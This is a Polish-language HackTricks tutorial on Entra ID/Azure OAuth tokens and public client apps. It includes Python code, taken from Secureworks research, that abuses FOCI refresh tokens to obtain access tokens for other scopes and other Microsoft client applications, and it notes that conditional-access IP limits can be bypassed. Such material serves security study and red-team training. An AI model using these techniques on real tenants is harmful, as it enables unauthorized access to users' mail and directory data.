Az - Tokens & Public Applications

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.

Podstawowe Informacje

Entra ID to platforma zarządzania tożsamością i dostępem (IAM) w chmurze firmy Microsoft, stanowiąca podstawowy system uwierzytelniania i autoryzacji dla usług takich jak Microsoft 365 i Azure Resource Manager. Azure AD wdraża ramy autoryzacji OAuth 2.0 oraz protokół uwierzytelniania OpenID Connect (OIDC) do zarządzania dostępem do zasobów.

OAuth

Kluczowi uczestnicy OAuth 2.0:

1. Serwer zasobów (RS): Chroni zasoby należące do właściciela zasobów.

2. Właściciel zasobów (RO): Zazwyczaj użytkownik końcowy, który posiada chronione zasoby.

3. Aplikacja kliencka (CA): Aplikacja starająca się uzyskać dostęp do zasobów w imieniu właściciela zasobów.

4. Serwer autoryzacji (AS): Wydaje tokeny dostępu aplikacjom klienckim po ich uwierzytelnieniu i autoryzacji.

Zakresy i Zgoda:

• Zakresy: Granularne uprawnienia zdefiniowane na serwerze zasobów, które określają poziomy dostępu.

• Zgoda: Proces, w którym właściciel zasobów przyznaje aplikacji klienckiej pozwolenie na dostęp do zasobów z określonymi zakresami.

Integracja z Microsoft 365:

• Microsoft 365 wykorzystuje Azure AD do IAM i składa się z wielu aplikacji OAuth "pierwszej strony".

• Aplikacje te są głęboko zintegrowane i często mają wzajemne relacje serwisowe.

• Aby uprościć doświadczenia użytkowników i zachować funkcjonalność, Microsoft przyznaje "domyślną zgodę" lub "wstępną zgodę" tym aplikacjom pierwszej strony.

• Domyślna zgoda: Niektóre aplikacje są automatycznie przyznawane dostęp do określonych zakresów bez wyraźnej zgody użytkownika lub administratora.

• Te wstępnie wyrażone zgody są zazwyczaj ukryte zarówno przed użytkownikami, jak i administratorami, co sprawia, że są mniej widoczne w standardowych interfejsach zarządzania.

Typy aplikacji klienckich:

1. Klienci poufni:

• Posiadają własne poświadczenia (np. hasła lub certyfikaty).

• Mogą bezpiecznie uwierzytelniać się na serwerze autoryzacji.

1. Klienci publiczni:

• Nie mają unikalnych poświadczeń.

• Nie mogą bezpiecznie uwierzytelniać się na serwerze autoryzacji.

• Implikacja bezpieczeństwa: Atakujący może podszyć się pod aplikację kliencką publiczną podczas żądania tokenów, ponieważ nie ma mechanizmu, który pozwalałby serwerowi autoryzacji zweryfikować legalność aplikacji.

Tokeny Uwierzytelniające

Istnieją trzy typy tokenów używanych w OIDC:

• Tokeny dostępu: Klient przedstawia ten token serwerowi zasobów, aby uzyskać dostęp do zasobów. Może być używany tylko dla określonej kombinacji użytkownika, klienta i zasobu i nie może być unieważniony do momentu wygaśnięcia - co wynosi domyślnie 1 godzinę.

• Tokeny ID: Klient otrzymuje ten token od serwera autoryzacji. Zawiera podstawowe informacje o użytkowniku. Jest powiązany z określoną kombinacją użytkownika i klienta.

• Tokeny odświeżające: Przyznawane klientowi wraz z tokenem dostępu. Używane do uzyskiwania nowych tokenów dostępu i ID. Jest powiązany z określoną kombinacją użytkownika i klienta i może być unieważniony. Domyślne wygaśnięcie wynosi 90 dni dla nieaktywnych tokenów odświeżających i brak wygaśnięcia dla aktywnych tokenów (z tokena odświeżającego można uzyskać nowe tokeny odświeżające).

• Token odświeżający powinien być powiązany z aud, z pewnymi zakresami i z dzierżawcą i powinien być w stanie generować tokeny dostępu tylko dla tego aud, zakresów (i nic więcej) oraz dzierżawcy. Jednak nie jest to prawdą w przypadku tokenów aplikacji FOCI.

• Token odświeżający jest szyfrowany i tylko Microsoft może go odszyfrować.

• Uzyskanie nowego tokena odświeżającego nie unieważnia poprzedniego tokena odświeżającego.

Informacje o dostępie warunkowym są przechowywane wewnątrz JWT. Jeśli więc zażądacie tokena z dozwolonego adresu IP, ten IP zostanie przechowany w tokenie, a następnie możecie użyć tego tokena z niedozwolonego IP, aby uzyskać dostęp do zasobów.

Tokeny dostępu "aud"

Pole wskazane w polu "aud" to serwer zasobów (aplikacja) używany do przeprowadzenia logowania.

Polecenie az account get-access-token --resource-type [...] obsługuje następujące typy, a każdy z nich doda określone "aud" w wynikowym tokenie dostępu:

Zauważ, że poniższe to tylko API obsługiwane przez az account get-access-token, ale jest ich więcej.

Przykłady aud

• aad-graph (Azure Active Directory Graph API): Używane do uzyskiwania dostępu do przestarzałego Azure AD Graph API (deprecjonowane), które pozwala aplikacjom na odczyt i zapis danych katalogowych w Azure Active Directory (Azure AD).

• https://graph.windows.net/

• arm (Azure Resource Manager): Używane do zarządzania zasobami Azure za pomocą API Azure Resource Manager. Obejmuje operacje takie jak tworzenie, aktualizowanie i usuwanie zasobów, takich jak maszyny wirtualne, konta magazynowe i inne.

• https://management.core.windows.net/ lub https://management.azure.com/

• batch (Azure Batch Services): Używane do uzyskiwania dostępu do Azure Batch, usługi, która umożliwia efektywne uruchamianie aplikacji obliczeniowych w dużej skali i wysokiej wydajności w chmurze.

• https://batch.core.windows.net/

• data-lake (Azure Data Lake Storage): Używane do interakcji z Azure Data Lake Storage Gen1, które jest skalowalną usługą przechowywania danych i analityki.

• https://datalake.azure.net/

• media (Azure Media Services): Używane do uzyskiwania dostępu do Azure Media Services, które oferują usługi przetwarzania i dostarczania mediów w chmurze dla treści wideo i audio.

• https://rest.media.azure.net

• ms-graph (Microsoft Graph API): Używane do uzyskiwania dostępu do Microsoft Graph API, zjednoczonego punktu końcowego dla danych usług Microsoft 365. Umożliwia dostęp do danych i informacji z usług takich jak Azure AD, Office 365, Enterprise Mobility i usługi bezpieczeństwa.

• https://graph.microsoft.com

• oss-rdbms (Azure Open Source Relational Databases): Używane do uzyskiwania dostępu do usług baz danych Azure dla otwartych silników baz danych relacyjnych, takich jak MySQL, PostgreSQL i MariaDB.

• https://ossrdbms-aad.database.windows.net

Zakresy tokenów dostępu "scp"

Zakres tokena dostępu jest przechowywany wewnątrz klucza scp w tokenie dostępu JWT. Te zakresy definiują, do czego token dostępu ma dostęp.

Jeśli JWT ma pozwolenie na kontakt z określonym API, ale nie ma zakresu do wykonania żądanej akcji, nie będzie w stanie wykonać akcji z tym JWT.

Przykład uzyskania tokena odświeżającego i dostępu

# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List


# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])

# Perform device code flow authentication

azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)



# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)


# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)

FOCI Tokens Privilege Escalation

Wcześniej wspomniano, że tokeny odświeżające powinny być powiązane z zakresami, z którymi zostały wygenerowane, z aplikacją i dzierżawą, do której zostały wygenerowane. Jeśli jakakolwiek z tych granic zostanie naruszona, możliwe jest eskalowanie uprawnień, ponieważ będzie można generować tokeny dostępu do innych zasobów i dzierżaw, do których użytkownik ma dostęp, oraz z większymi zakresami, niż pierwotnie zamierzano.

Co więcej, jest to możliwe z wszystkimi tokenami odświeżającymi w Microsoft identity platform (konta Microsoft Entra, konta osobiste Microsoft oraz konta społecznościowe, takie jak Facebook i Google), ponieważ jak wspominają dokumenty: "Tokeny odświeżające są powiązane z kombinacją użytkownika i klienta, ale nie są powiązane z zasobem ani dzierżawą. Klient może użyć tokena odświeżającego do uzyskania tokenów dostępu w dowolnej kombinacji zasobów i dzierżaw, do których ma pozwolenie. Tokeny odświeżające są szyfrowane i tylko platforma tożsamości Microsoft może je odczytać."

Ponadto, należy zauważyć, że aplikacje FOCI są aplikacjami publicznymi, więc nie jest wymagany żaden sekret do uwierzytelnienia na serwerze.

Zatem znane klientów FOCI zgłoszone w oryginalnych badaniach można znaleźć tutaj.

Get different scope

Kontynuując poprzedni przykład kodu, w tym kodzie żądany jest nowy token dla innego zakresu:

# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)

Uzyskaj różne klienty i zakresy

# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)

References

• https://github.com/secureworks/family-of-client-ids-research

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.